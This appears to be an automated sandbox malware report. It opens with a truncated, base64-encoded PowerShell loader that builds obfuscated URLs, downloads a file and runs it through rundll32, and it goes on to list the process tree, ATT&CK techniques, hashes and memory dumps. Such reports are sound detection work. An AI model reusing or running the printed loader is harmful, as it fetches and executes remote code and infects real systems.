nACsAJwAoAHEAZABkACkAKABjACcAKQApACsAKAAnAGUANQBjACcAKwAnADYAJwArACcAdQB0ACcAKQArACcALgAnACsAKAAnAHAAJwArACcAZABmAEAAJwApACsAJwBoAHQAJwArACcAdABwACcAKwAoACgAJwBzADoAJwArACcAUQApACgAcQBkAGQAKQAoAFEAKQAnACsAJwAoAHEAJwApACkAKwAnAGQAZAAnACsAKAAoACcAKQAoACcAKQApACsAKAAnAGEAbQAnACsAJwBhAHoAJwApACsAKAAnAGUAZABlAGwAZQAnACsAJwBjACcAKwAnAHQAcgAnACkAKwAoACcAaQAnACsAJwBjAGEAJwApACsAKAAnAGwAJwArACcALgBjAG8AJwApACsAJwBtACcAKwAoACgAJwAuAGEAdQAnACsAJwBRACkAJwApACkAKwAoACgAJwAoAHEAZAAnACsAJwBkACcAKQApACsAKAAoACcAKQAoAGYAZgAnACsAJwAyACcAKQApACsAKAAnAGUAOAA0ACcAKwAnAHQAdgAnACkAKwAnAGsALgAnACsAJwBwAGQAJwArACcAZgAnACkAKQAuACIAUgBFAFAAYABMAEEAYABDAGUAIgAoACgAKAAoACgAJwBRACkAKAAnACsAJwBxACcAKQApACsAKAAoACcAZAAnACsAJwBkACkAJwApACkAKwAnACgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAJwArACcAdwBlACcAKQApAFsAMABdACkALgAiAFMAUABMAGAAaQBUACIAKAAkAEoAYwB4ADIANQB0ADcAIAArACAAJABUAHcAbwA1AHoAdQBjACAAKwAgACQAUQAyAHUAdgBjAGwAcgApADsAJABFAGQAcAAxAHcAYQBtAD0AKAAnAFkAawAnACsAKAAnAG8AJwArACcAbQAxAGkAJwApACsAJwB5ACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAQQA0AHMAdwBoAHIAegAgAGkAbgAgACQAWgB4AGkAawBqAHMAaAAgAHwAIABTAG8AcgBgAFQALQBvAGAAQgBqAGAAZQBDAFQAIAB7AGcARQBUAC0AYABSAEEATgBgAGQATwBNAH0AKQB7AHQAcgB5AHsAJABRAHEAcQBsAGgAZQA5AC4AIgBkAG8AVwBOAGwAbwBgAEEARABmAGkAYABMAGUAIgAoACQAQQA0AHMAdwBoAHIAegAsACAAJABTAG8AMgB2ADMAYgBoACkAOwAkAEkAcgByAHoAMAAwAHoAPQAoACgAJwBWADAAJwArACcAaAA5AHAAJwArACcAdAAnACkAKwAnADkAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFMAbwAyAHYAMwBiAGgAKQAuACIAbABlAGAATgBnAHQAaAAiACAALQBnAGUAIAAzADYANgA2ADEAKQAgAHsAJgAoACcAcgB1AG4AZABsAGwAJwArACcAMwAnACsAJwAyAC4AZQB4ACcAKwAnAGUAJwApACAAJABTAG8AMgB2ADMAYgBoACwAMAA7ACQARQAxAGsAaQAzAHAAbQA9ACgAKAAnAFoANQB1ACcAKwAnAGUAJwApACsAKAAnAHUAJwArACcANQBwACcAKQApADsAYgByAGUAYQBrADsAJABMAGoAdgA2ADMAZQBpAD0AKAAoACcAWAA4ACcAKwAnAHkAJwApACsAJwA1AHAAJwArACcAaABvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgBqAHQAcwBvADYAdQA9ACgAKAAnAEQAXwBfACcAKwAnAGYAZgAnACkAKwAnAHAAJwArACcAagAnACkA
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2136

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\V__qrh4\Tov5nnx\D9eidj4dv.dll,0
3⤵
- Suspicious use of WriteProcessMemory
PID:4032

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\V__qrh4\Tov5nnx\D9eidj4dv.dll,0
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Checks whether UAC is enabled
PID:3336

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\V__qrh4\Tov5nnx\D9eidj4dv.dll
MD5
07933a6cf4e14f0460f97af63d8f3ac0

SHA1
eba135c31282c262403c4336538c6bb390b27e03

SHA256
e11439ed39e10fcc1e340b61af59f7250f19508a50866afc291a90c32eae448a

SHA512
fb55800ccc22af1836bd6e045fe5576c0300340261d9452660e5eedccfa0f3a4a815d629cb631a206ef3d5251164f010d0a76df14f7fd02ded16aeb714a5bd34

Download Submit
\Users\Admin\V__qrh4\Tov5nnx\D9eidj4dv.dll
MD5
07933a6cf4e14f0460f97af63d8f3ac0

SHA1
eba135c31282c262403c4336538c6bb390b27e03

SHA256
e11439ed39e10fcc1e340b61af59f7250f19508a50866afc291a90c32eae448a

SHA512
fb55800ccc22af1836bd6e045fe5576c0300340261d9452660e5eedccfa0f3a4a815d629cb631a206ef3d5251164f010d0a76df14f7fd02ded16aeb714a5bd34

Download Submit
memory/580-0-0x00007FFC30460000-0x00007FFC30A97000-memory.dmp

Filesize
6.2MB

Download
memory/580-1-0x000001CDD21DF000-0x000001CDD21F7000-memory.dmp

Filesize
96KB

Download
memory/1336-5-0x0000000000000000-mapping.dmp

Download
memory/2136-6-0x0000000000000000-mapping.dmp

Download
memory/2136-7-0x00007FFC29DE0000-0x00007FFC2A7CC000-memory.dmp

Filesize
9.9MB

Download
memory/2136-8-0x000001CE65F20000-0x000001CE65F21000-memory.dmp

Filesize
4KB

Download
memory/2136-9-0x000001CE7E260000-0x000001CE7E261000-memory.dmp

Filesize
4KB

Download
memory/3336-12-0x0000000000000000-mapping.dmp

Download
memory/3336-14-0x0000000004CA0000-0x0000000004CDD000-memory.dmp

Filesize
244KB

Download
memory/4032-10-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads